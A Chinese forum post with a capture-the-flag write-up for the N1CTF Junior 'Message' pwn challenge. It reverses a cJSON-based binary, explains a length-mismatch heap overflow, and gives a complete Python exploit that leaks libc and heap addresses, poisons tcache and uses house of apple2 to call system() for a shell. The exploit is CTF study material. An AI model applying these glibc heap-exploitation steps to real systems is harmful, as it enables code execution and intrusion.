ajguthahbzzb 发表于 2025-4-10 13:16

N1CTF Junior 3rd(Jeopardy) Message wp

0x0 前言
这道题是披着cJSON库外衣的简单题,而难点就在于逆向,只要分析出程序逻辑,基本就能看出漏洞在哪,也能很方便地利用


0x1 逆向结构体
首先,cJSON库是网上开源的,可以从网上找到其源代码。这里直接贴出json node的结构体代码:
typedef struct cJSON
{
    /* next/prev allow you to walk array/object chains. Alternatively, use GetArraySize/GetArrayItem/GetObjectItem */
    struct cJSON *next;
    struct cJSON *prev;
    /* An array or object item will have a child pointer pointing to a chain of the items in the array/object. */
    struct cJSON *child;

    /* The type of the item, as above. */
    int type;

    /* The item's string, if type==cJSON_Stringand type == cJSON_Raw */
    char *valuestring;
    /* writing to valueint is DEPRECATED, use cJSON_SetNumberValue instead */
    int valueint;
    /* The item's number, if type==cJSON_Number */
    double valuedouble;

    /* The item's name string, if this item is the child of, or is in the list of subitems of an object. */
    char *string;
} cJSON;
经过cJSON_Parse得到的结构体以及其子节点都是cJSON结构体。

Template结构体定义如下:
struct Template
{
__int64 flag;
int author_lens;
int content_lens;
Message *message;
Note *note;
};

Note结构体定义如下:
struct Note
{
int size;
int id;
Note *next;
char content[];
};
注意,其大小是可变的,由内容决定。由于其只有很少变量,所以很适合用来布局堆风水。

MessageInfo结构体定义如下:
struct MessageInfo
{
int author_offset;
int author_lens;
int date_offset;
int date_len;
int receiver_offset;
int receiver_lens;
int priority_offset;
int priority_len;
int content_offset;
int content_lens;
};
MessageInfo结构体用于描述Message包含的内容的所有元数据信息,包括各字段的偏移。

MessageContent结构体定义如下:
struct MessageContent
{
char author_name;
char context_text;
char receiver_buf;
};

该结构体包含Message的所有内容,其作为从json中接收数据的中间结构。

Message结构体定义如下:
struct Message
{
int msg_size;
MessageInfo info;
Message *next;
char content[];
};
content大小是可变的,在create_message时由MessageInfo和MessageContent共同决定。

创建template的json的格式如下:
{
      "author": {
            "lens": author_lens
      },
      "content": {
            "type": _type,
            "lens": content_lens
      },
      "extensions": extensions
    }

创建message的json格式如下:
{
      "author": author_name,
      "content": {
            "type": _type,
            "content": content
...
      }
    }
我这里没有逆向extensions各子功能的结构,因为那些子功能就算有漏洞也很难利用。我将用最简单的方式getshell。


0x2 菜单逻辑
(符号表等详细逆向代码见附件,用ida9.0打开即可。)
create_template函数:根据json创建Template。注意,这里的content_lens是通过type来确定的,但是type并没有保存在任何变量中。
content_lens = (cJSON *)cJSON_GetObjectItem(content, "lens");
if ( !content_lens )
{
    puts("No content lens");
    exit(1);
}
if ( !cJSON_IsNumber((__int64)content_lens) )
{
    puts("Invalid content lens");
    exit(1);
}
if ( content_lens->valueint > 32 )
{
    puts("Content too long");
    exit(1);
}
content_type = (cJSON *)cJSON_GetObjectItem(content, "type");
if ( !content_type )
{
    puts("No content type");
    exit(1);
}
if ( !cJSON_IsString((__int64)content_type) )
{
    puts("Invalid content type");
    exit(1);
}
if ( !strcmp(content_type->valuestring, "text") )
{
    templates->content_lens = 16;
}
else
{
    if ( strcmp(content_type->valuestring, "bytes") )
    {
      puts("Invalid content type");
      exit(1);
    }
    templates->content_lens = content_lens->valueint;
}
delete_template函数:删除Template和其内的所有Message和Note。
create_message函数:根据json创建Message。当没有extensions时,Message的content数组就是json里的content里的值。注意,这里再一次根据用户的type来验证content的长度,但是message_dup函数里直接使用Template的content_lens作为复制长度。
// create_message
content = cJSON_GetObjectItem((__int64)json, "content");
if ( !content )
{
    puts("No content");
    exit(1);
}
if ( !(unsigned int)cJSON_IsObject(content) )
{
    puts("Invalid content");
    exit(1);
}
content_type = (cJSON *)cJSON_GetObjectItem(content, "type");
if ( !content_type )
{
    puts("No content type");
    exit(1);
}
if ( !cJSON_IsString((__int64)content_type) )
{
    puts("Invalid content type");
    exit(1);
}
if ( !strcmp(content_type->valuestring, "text") )// 没有一致性校验
{
    content_text = (cJSON *)cJSON_GetObjectItem(content, "content");
    if ( !content_text )
    {
      puts("No content text");
      exit(1);
    }
    if ( (unsigned int)strlen(content_text->valuestring) != 0x10 )
    {
      puts("Invalid content length");
      exit(1);
    }
    strncpy(message_content.context_text, content_text->valuestring, 0x10uLL);
    message_info.content_offset = len;
    message_info.content_lens = 0x10;
    msg_size = len + 0x10;
}
else
{
    if ( strcmp(content_type->valuestring, "bytes") )
    {
      puts("Invalid content type");
      exit(1);
    }
    content_bytes = (cJSON *)cJSON_GetObjectItem(content, "content");
    if ( !content_bytes )
    {
      puts("No content bytes");
      exit(1);
    }
    content_lens = strlen(content_bytes->valuestring);
    if ( content_lens != templates->content_lens )
    {
      puts("Invalid content length");
      exit(1);
    }
    strncpy(message_content.context_text, content_bytes->valuestring, content_lens);
    message_info.content_offset = len;
    message_info.content_lens = content_lens;
    msg_size = content_lens + len;
}
// message_dup
memcpy(cptr, message_content->context_text, template_1->content_lens);
show_messages函数:输出Message的各项信息。用于泄露地址不如Note好用。
create_note函数:创建Note。
show_note函数:显示Note内容。
delete_note函数:删除Note。
edit_note函数:修改Note内容。


0x3 菜单交互
由上面的分析可写出菜单交互代码如下:
from pwncli import *
import json

elf = ELF("./pwn")
io = gift.io = elf.process()
# io = gift.io = remote("node.vnteam.cn", 44029)
libc = elf.libc
context(log_level="debug", arch="amd64", terminal=["tmux", "sp", "-h"])
# --------

def menu(choice):
    sla(b"Choice: ", str(choice).encode())

def create_template(idx, author_lens, extensions, _type, content_lens):
    menu(1)
    sla(b"Template idx: ", str(idx).encode())
    tmpl = {
      "author": {
            "lens": author_lens
      },
      "content": {
            "type": _type,
            "lens": content_lens
      },
      "extensions": extensions
    }
    sla(b"Template: ", json.dumps(tmpl).encode())
   
def delete_template(idx):
    menu(2)
    sla(b"Template idx: ", str(idx).encode())

def create_message(idx, _type, content, author_name="a"*8):
    menu(3)
    sla(b"Template idx: ", str(idx).encode())
    message = f"""{{
      "author": "{author_name}",
      "content": {{
            "type": "{_type}",
            "content": "{content}"
      }}
    }}"""
    sla(b"Message: ", message.encode())

def show_message(idx):
    menu(4)
    sla(b"Template idx: ", str(idx).encode())

def create_note(idx, note_id, note_size, content=b"a"):
    menu(5)
    sla(b"Template idx: ", str(idx).encode())
    sla(b"Note ID: ", str(note_id).encode())
    sla(b"Note size: ", str(note_size).encode())
    sa(b"Note content: ", content)

def show_note(idx, note_id):
    menu(6)
    sla(b"Template idx: ", str(idx).encode())
    sla(b"Note ID: ", str(note_id).encode())
    ru(b"Note content: ")

def delete_note(idx, note_id):
    menu(7)
    sla(b"Template idx: ", str(idx).encode())
    sla(b"Note ID: ", str(note_id).encode())

def edit_note(idx, note_id, content):
    menu(8)
    sla(b"Template idx: ", str(idx).encode())
    sla(b"Note ID: ", str(note_id).encode())
    sa(b"Note content: ", content)


0x4 思路
根据上面对函数的分析,我们可以这样设想:

[*]首先创建type为bytes的Template,长度为a(>0x10)。
[*]然后创建type为bytes的Message,长度为a。
[*]然后创建type为text的Message,长度为0x10。

第三步创建的Message虽然长度为0x10,但是复制长度为a,如果第二步创建的Message的内容精心设计,那么超出的那部分就可控了,因为create_message函数并没有调用memset将message_content全部清零。

总体的思路如下:
    1. 构造溢出覆盖Note的size字段,造成堆重叠。
# 越界改size,堆重叠
create_template(0, 8, [], "bytes", 0x1a)
create_message(0, "bytes", "b"*0x18 + "\x21\x02")
create_note(0, 0, 0x40) # message1
create_note(0, 1, 0x100)
delete_note(0, 0)

create_message(0, "text", "b"*0x10)
delete_note(0, 1)
create_note(0, 1, 0x200)
改完后堆结构如下:

    2. 通过越界读泄露heap基址和libc基址。
# 泄漏libc
create_note(0, 2, 0x500)
create_note(0, 3, 0x500)
delete_note(0, 2)
show_note(0, 1)
ru(p64(0x521))
libc.address = u64(r(8)) - 0x21ace0
success(f"{libc.address = :x}")
delete_note(0, 3)

# 泄漏heap地址
create_note(0, 2, 0x200)
delete_note(0, 2)
show_note(0, 1)
ru(p64(0x221))
heapbase = u64(r(8)) << 12
success(f"{heapbase = :x}")
    3. 篡改tcache的next指针指向_IO_list_all,将_IO_list_all改成我们构造好的IO_file。这里使用house of apple来完成攻击。
# 打_IO_list_all
create_note(0, 2, 0x200)
create_note(0, 3, 0x200)
delete_note(0, 3)
delete_note(0, 2)

payload = b"a" * 0x108 + fit(0x221, (heapbase >> 12) ^ (libc.sym._IO_list_all - 0x10))
edit_note(0, 1, payload)

heapaddr = heapbase + 0x840
payload = b'\0' * 0x30 + IO_FILE_plus_struct().house_of_apple2_execmd_when_exit(
    heapaddr, libc.sym._IO_wfile_jumps, libc.sym.system
)
create_note(0, 4, 0x200, payload)

create_note(0, 5, 0x200, p64(heapaddr))
    4. 让程序调用exit函数退出。

0x5 完整exp
from pwncli import *
import json

elf = ELF("./pwn")
io = gift.io = elf.process()
# io = gift.io = remote("node.vnteam.cn", 44029)
libc = elf.libc
context(log_level="debug", arch="amd64", terminal=["tmux", "sp", "-h"])
# --------

def menu(choice):
    sla(b"Choice: ", str(choice).encode())

def create_template(idx, author_lens, extensions, _type, content_lens):
    menu(1)
    sla(b"Template idx: ", str(idx).encode())
    tmpl = {
      "author": {
            "lens": author_lens
      },
      "content": {
            "type": _type,
            "lens": content_lens
      },
      "extensions": extensions
    }
    sla(b"Template: ", json.dumps(tmpl).encode())
   
def delete_template(idx):
    menu(2)
    sla(b"Template idx: ", str(idx).encode())

def create_message(idx, _type, content, author_name="a"*8):
    menu(3)
    sla(b"Template idx: ", str(idx).encode())
    message = f"""{{
      "author": "{author_name}",
      "content": {{
            "type": "{_type}",
            "content": "{content}"
      }}
    }}"""
    sla(b"Message: ", message.encode())

def show_message(idx):
    menu(4)
    sla(b"Template idx: ", str(idx).encode())

def create_note(idx, note_id, note_size, content=b"a"):
    menu(5)
    sla(b"Template idx: ", str(idx).encode())
    sla(b"Note ID: ", str(note_id).encode())
    sla(b"Note size: ", str(note_size).encode())
    sa(b"Note content: ", content)

def show_note(idx, note_id):
    menu(6)
    sla(b"Template idx: ", str(idx).encode())
    sla(b"Note ID: ", str(note_id).encode())
    ru(b"Note content: ")

def delete_note(idx, note_id):
    menu(7)
    sla(b"Template idx: ", str(idx).encode())
    sla(b"Note ID: ", str(note_id).encode())

def edit_note(idx, note_id, content):
    menu(8)
    sla(b"Template idx: ", str(idx).encode())
    sla(b"Note ID: ", str(note_id).encode())
    sa(b"Note content: ", content)

# 越界改size,堆重叠
create_template(0, 8, [], "bytes", 0x1a)
create_message(0, "bytes", "b"*0x18 + "\x21\x02")
create_note(0, 0, 0x40) # 用作message
create_note(0, 1, 0x100)
delete_note(0, 0)

create_message(0, "text", "b"*0x10)
delete_note(0, 1)
create_note(0, 1, 0x200)

# 泄漏libc
create_note(0, 2, 0x500)
create_note(0, 3, 0x500)
delete_note(0, 2)
show_note(0, 1)
ru(p64(0x521))
libc.address = u64(r(8)) - 0x21ace0
success(f"{libc.address = :x}")
delete_note(0, 3)

# 泄漏heap地址
create_note(0, 2, 0x200)
delete_note(0, 2)
show_note(0, 1)
ru(p64(0x221))
heapbase = u64(r(8)) << 12
success(f"{heapbase = :x}")

# 打_IO_list_all
create_note(0, 2, 0x200)
create_note(0, 3, 0x200)
delete_note(0, 3)
delete_note(0, 2)

payload = b"a" * 0x108 + fit(0x221, (heapbase >> 12) ^ (libc.sym._IO_list_all - 0x10))
edit_note(0, 1, payload)

heapaddr = heapbase + 0x840
payload = b'\0' * 0x30 + IO_FILE_plus_struct().house_of_apple2_execmd_when_exit(
    heapaddr, libc.sym._IO_wfile_jumps, libc.sym.system
)
create_note(0, 4, 0x200, payload)

create_note(0, 5, 0x200, p64(heapaddr))

menu(9)

# --------
ia()

MingTian1425 发表于 2025-4-13 21:57

学习了,感谢大佬
页: [1]
查看完整版本: N1CTF Junior 3rd(Jeopardy) Message wp